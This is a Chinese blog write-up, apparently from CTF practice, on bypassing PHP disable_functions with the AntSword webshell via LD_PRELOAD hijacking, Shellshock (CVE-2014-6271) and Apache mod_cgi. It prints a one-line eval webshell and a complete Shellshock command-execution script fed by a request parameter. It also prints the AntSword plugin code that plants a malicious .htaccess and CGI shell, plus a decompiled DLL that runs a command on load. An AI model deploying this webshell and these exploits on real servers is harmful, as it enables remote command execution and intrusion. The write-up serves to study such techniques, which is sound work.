AntSword与disable_functions(一)
本文最后更新于 745 天前,其中的信息可能已经有所发展或是发生改变。

参考文章


<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

diasbale_functions:cntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system


1.LD_PRELOAD


使用条件:

  • Linux 操作系统
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • 存在可写的目录, 需要上传 .so 文件

方法原理:

原理可参考 CTF_Wiki 上的表述,个人觉得写得比较好的是下面这个,出自这里

一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin内部调用系统函数b()b()位于系统共享对象c.so中,所以系统为该进程加载c.so,想法在c.so前优先加载可控的c_evil.soc_evil.so内含与b()同名的恶意函数,由于 c_evil.so优先级较高,所以,a.bin将调用到c_evil.sob()而非系统的c.sob(),同时c_evil.so可控,达到执行恶意代码的目的

所以第一步就是本地生成一个evil.so文件,上传到服务器,利用putenv()函数,将环境变量LD_PRELOAD路径设置为evil.so,最后再利用 php 的某个函数去触发,而且这个函数需要能够启动新的进程;system()/exec()/shell_exec()/mail()/error_log()都属于这类函数

在 linux 中,进程的产生通常是通过fork函数,由父进程衍生出一个子进程且大部分的进程并不是直接在父进程的基础上运行,这时候就需要用到exec函数,不同的exec函数实际上都是调用了 glibc 中的 __execve 函数,而 glibc 中的__execve函数向内核发起execve系统调用

mail()为例,当用strace -f跟踪进程调用的子进程时,通过grep execve查看启动的新进程

[root@VM-8-7-centos default]# strace -f php mail.php 2>&1 | grep execve

execve("/usr/bin/php", ["php", "mail.php"], 0x7ffc36464a10 /* 24 vars */) = 0
[pid 24498] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i"], 0x15c8010 /* 24 vars */ <unfinished ...>
[pid 24498] <... execve resumed>)       = 0
[pid 24498] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x16e6360 /* 23 vars */) = 0
[pid 24499] execve("/usr/sbin/postdrop", ["/usr/sbin/postdrop", "-r"], 0x560b6324a660 /* 2 vars */) = 0

第一个是启动 php 解释器,后面的/usr/sbin/sendmail/usr/sbin/postdrop是新的进程,readelf -s /usr/sbin/sendmail可以查看调用了哪些函数

在劫持函数的选择上,尽量选择重写复杂度小、无参数、常用的,比如getuid()

如何重写可以参考上述文章,而后可以将上传路径写进 .php 文件里,最后一并上传至有权限的目录下,执行 .php 即可

<?php
putenv("LD_PRELOAD=./hack.so"); // .so 上传路径
mail('','','',''); // 如果 mail() 被处理,可以使用 error_log('a',1);
?>

但是这是理想状态下的劫持,劫持成功是建立在目标环境下有sendmail,而且可以执行 .php 文件的基础上

有的时候目标环境可能没有安装sendmail,也没有权限执行 .php 文件,这种情况的解决方法可参考 无需sendmail:巧用LD_PRELOAD突破disable_functions,细节上已经写得非常详细了,将劫持某一函数扩展到劫持共享对象

蚁剑绕过插件的做法是,在当前目录上传了一个 .antproxy.php 文件,然后在/tmp下上传了一个 .so 文件,最后更改 shell 地址为/.antproxy.php就可以执行命令

通过ps -aef查看进程情况

www-data   148    32  0 Nov08 ?        00:00:00 /bin/sh -c php -n -S 127.0.0.1:64091 -t /var/www/html
www-data   149   148  0 Nov08 ?        00:00:01 php -n -S 127.0.0.1:64091 -t /var/www/html
www-data   150    27  0 Nov08 ?        00:00:00 /usr/sbin/apache2 -k start

可以看到目标环境又启动了一个新的 php 环境,而且不带 .ini,和代码是对应的

<?php
...
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 64091;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

...
?>

core/ld_preload/index.jsexploit()里也可以看到实现细节

let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
let fileBuffer = self.generateExt(cmd);
if (!fileBuffer) {
    toastr.warning(LD_PRELOAD_LANG['msg']['genext_err'], LANG_T["warning"]);
    self.cell.progressOff();
    return
}

上传ext后会触发 payload

new Promise((res, rej) => {...
 }.then((p) => {
        // 触发 payload, 会超时
        var payload = `error_reporting(E_ALL);putenv("LD_PRELOAD=${p}");error_log("a", 1);echo(1);`;
        core.request({
          _: payload,
        }).then((response) => {

        }).catch((err) => {
          // 超时也是正常
        })
      }).then(() => {
        // 验证是否成功开启
        var payload = `sleep(1);
          $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
          if(!$fp){
            echo(0);
          }else{
            echo(1);
            @fclose($fp);
          };`
        core.request({
          _: payload,
        }).then((response) => {
          var ret = response['text'];
          if (ret === '1') {
            toastr.success(LANG['success'], LANG_T['success']);
            self.form.setItemLabel('status_label', `New WebServer Listen`);
            self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
            self.uploadProxyScript("127.0.0.1", port);
            self.cell.progressOff();
          }

可以看到最终走的也是error_log(),同时在core/base.js下查看generateExt()

generateExt(cmd) {
    let self = this;
    let fileBuff = fs.readFileSync(self.ext_path);
    let start = 0,
      end = 0;
    switch (self.ext_name) {
      case 'ant_x86.so':
        start = 275;
        end = 504;
        break;
      case 'ant_x64.so':
        // 434-665
        start = 434;
        end = 665;
        break;
      case 'ant_x86.dll':
        start = 1544;
        end = 1683;
        break;
      case 'ant_x64.dll':
        start = 1552;
        end = 1691;
        break;
      default:
        break;
    }
    if (cmd.length > (end - start)) {
      return
    }
    fileBuff[end] = 0;
    fileBuff.write("                    ", start);
    fileBuff.write(cmd, start);
    return fileBuff;
  }

预留了参数cmd的位置,再把ant_x86.dll反一下是这个

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  system(
    "[command                                                                                                            "
    "                       ]");
  return 1;
}

所以蚁剑突破的流程就很明晰了,生成一个 含可执行命令和开启新的、没有特殊环境限制的 php web server 的扩展,利用 .antproxy.php 完成代理发送数据并接收返回信息


2.Shellshock(CVE-2014-6271)


使用条件:

  • Linux 操作系统
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • /bin/bash 存在 CVE-2014-6271 漏洞
  • /bin/sh -> /bin/bash sh 默认的 shell 是 bash

方法原理:

漏洞原理不再赘述,可以参考这篇文章《Bash远程代码执行漏洞(CVE-2014-6271)案例分析》

mail()/error_log()之所以能够用来突破 disable_functions 的限制,源码里其实已经写了(源码是 github 上最新版本的)

/* basic_functions.c */

PHPAPI int _php_error_log(int opt_err, const char *message, const char *opt, const char *headers) /* {{{ */
{
    return _php_error_log_ex(opt_err, message, (opt_err == 3) ? strlen(message) : 0, opt, headers);
}
/* }}} */

PHPAPI int _php_error_log_ex(int opt_err, const char *message, size_t message_len, const char *opt, const char *headers) /* {{{ */
{
    php_stream *stream = NULL;
    size_t nbytes;

    switch (opt_err)
    {
        case 1:     /*send an email */
            if (!php_mail(opt, "PHP error_log message", message, headers, NULL)) {
                return FAILURE;
            }
            break;
...

这里其实就可以看出来了,为什么在调用error_log()突破时第二个参数要设置为 1

/* mail.c */

PHPAPI int php_mail(const char *to, const char *subject, const char *message, const char *headers, const char *extra_cmd)
{
#ifdef PHP_WIN32
    int tsm_err;
    char *tsm_errmsg = NULL;
#endif
    FILE *sendmail;
    int ret;
    char *sendmail_path = INI_STR("sendmail_path");
    char *sendmail_cmd = NULL;
    char *mail_log = INI_STR("mail.log");
    const char *hdr = headers;
    char *ahdr = NULL;
#if PHP_SIGCHILD
    void (*sig_handler)() = NULL;
#endif
...

if (extra_cmd != NULL) {
        spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
    } else {
        sendmail_cmd = sendmail_path;
    }
...

#ifdef PHP_WIN32
    sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL);
#else
    /* Since popen() doesn't indicate if the internal fork() doesn't work
     * (e.g. the shell can't be executed) we explicitly set it to 0 to be
     * sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd, "w");
#endif
    if (extra_cmd != NULL) {
        efree (sendmail_cmd);
    }

mail()的参数extra_cmd存在的时候,先用spprintf()接收合并后的命令,后面再调用popen()派生出进程执行,如果 sh 默认为 bash 的话,就可以利用 Shellshock 了

那么这个时候再看环境下给的原理脚本就可以理解了

<?php
function runcmd($c){
  $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
    if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
      $tmp=tempnam(sys_get_temp_dir(), 'as');
      putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
      if (function_exists('error_log')) {
        error_log("a", 1);
      }else{
        mail("a@127.0.0.1", "", "", "-bv");
      }
    }else{
      print("Not vuln (not bash)\n");
    }
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output!=""){
      print($output);
    }else{
      print("No output, or not vuln.");
    }
  }else{
    print("不满足使用条件");
  }
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

3.Apache Mod CGI


相比于前两个环境,disable_functions 多了putenv()

使用条件:

  • Linux 操作系统
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写

方法原理:

关于 CGI,百度百科就可以查到工作原理,Apache 2.2 的参考手册也有相关介绍

原理简述上这个写的比较清晰,不再赘述了,其实 De1CTF_2020 的 checkin 就是利用这个点绕过的

解决方法就是上传一个 .htaccess 和一个写有 shell 的脚本

同样的,插件里的index.js里也有细节

      .then(() => {
        let expcode = {
          _: `@copy(".htaccess", ".htaccess.bak");
@file_put_contents('.htaccess', "Options +ExecCGI\\nAddHandler cgi-script .ant");
@file_put_contents('shell.ant', "#!/bin/sh\\n\\necho&ls");
@chmod("shell.ant", 0777);`
        };
        self.core.request(expcode)
          .then(() => {
            new antSword.module.terminal(self.top.opt, {
              exec: (arg = {
                bin: '/bin/bash',
                cmd: ''
              }) => {
                let content = Buffer.from(`#!${arg['bin']}\necho&&${arg['cmd']}`).toString('base64');
                let target = "";
                if (self.top.opt.url.includes('127.0.0.1')) {
                  target = `$url['scheme']."://${self.infodata['localaddr']}".$url['path'];`;
                } else {
                  target = `$url['scheme']."://".$_SERVER['HTTP_HOST'].$url['path'];`;
                }
                return {
                  _: `@file_put_contents('shell.ant', base64_decode("${content}"));
$url=parse_url("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
$target=${target};
echo @file_get_contents($target);`,
                  // header("Location: ${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
                  // echo @file_get_contents("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
                }
              }
            });
          })
          .catch(err => {
            throw err;
          });
      }

写入.htaccessshell.ant,然后再给 .ant 赋权,下面又起了一个新的命令终端来完成命令执行

在底下的 refs 里也有相应的脚本,可以参考下这个

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇